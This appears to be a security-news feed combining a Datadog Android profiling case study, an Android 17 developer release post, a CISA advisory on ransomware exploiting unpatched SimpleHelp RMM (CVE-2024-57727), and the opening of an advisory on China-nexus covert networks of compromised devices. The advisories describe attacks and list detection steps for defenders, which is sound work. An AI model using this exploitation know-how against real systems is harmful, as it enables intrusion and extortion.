ProfilingManager is a highly performant solution for code-level insights. Of the solutions we evaluated, it has the lowest runtime overhead, gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog


For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.


We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog


To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:
  • Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
  • Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
  • Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
  • Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  • System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  • On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

An example of Datadog's time to initial display measurement with 
stack sampling powered by ProfilingManager

Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.

The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices.

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

]]> <![CDATA[Android 17 is here]]> https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ Sat, 25 Jul 2026 10:15:36 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP of Product Management, Android Developer


Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

  • App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
  • The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
  • Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet


class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

  • Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
  • Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
  • FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
  • Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
  • Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

  • R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.




The R8 Configuration Analyzer
  • LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
  • ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
  • On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.
val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

  • System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
  • Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
  • System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
  • EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.
val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}










Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

  • Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
  • Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.


















Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

  • Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
  • RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
  • Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
  • Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
  • Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
  • Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
  • Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

  • Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
  • Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.



For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.



]]> <![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]> https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ Sat, 25 Jul 2026 09:19:52 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.1 Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.1 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

  1. Isolate the SimpleHelp server instance from the internet or stop the server process.
  2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.2
  3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

  • Windows: %APPDATA%\JWrapper-Remote Access
  • Linux: /opt/JWrapper-Remote Access
  • MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

  1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.3
  2. Isolate the SimpleHelp server instance from the internet or stop the server process.
  3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
  4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.4

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

  1. Disconnect the affected system from the internet.
  2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
  3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

  • Maintain a robust asset inventory and hardware list [CPG 1.A].
  • Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
  • Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
  • Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
  • Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
  • For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
    • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

]]> <![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]> https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ Sat, 25 Jul 2026 09:10:14 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de

Defending against china-nexus covert networks of compromised devices

executive summary

Defending against China-nexus covert networks of compromised devices 

Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 

Summary

With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

  • Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • Germany Federal Office for the Protection of the Constitution -   Bundesamt fĂŒr Verfassungsschutz (BfV)
  • Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
  • Germany Federal Office for Information Security - Bundesamt fĂŒr Sicherheit in der Informationstechnik (BSI)
  • Japan National Cybersecurity Office (NCO) - ć›œćź¶ă‚”ă‚€ăƒăƒŒç”±æ‹Źćź€
  • Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
  • Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Spain National Cryptologic Centre – Centro CriptolĂłgico Nacional (CCN)
  • Sweden National Cyber Security Centre - Nationellt cybersĂ€kerhetscenter (NCSC-SE)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Federal Bureau of Investigation (FBI)
  • United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 

Introduction  

Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 

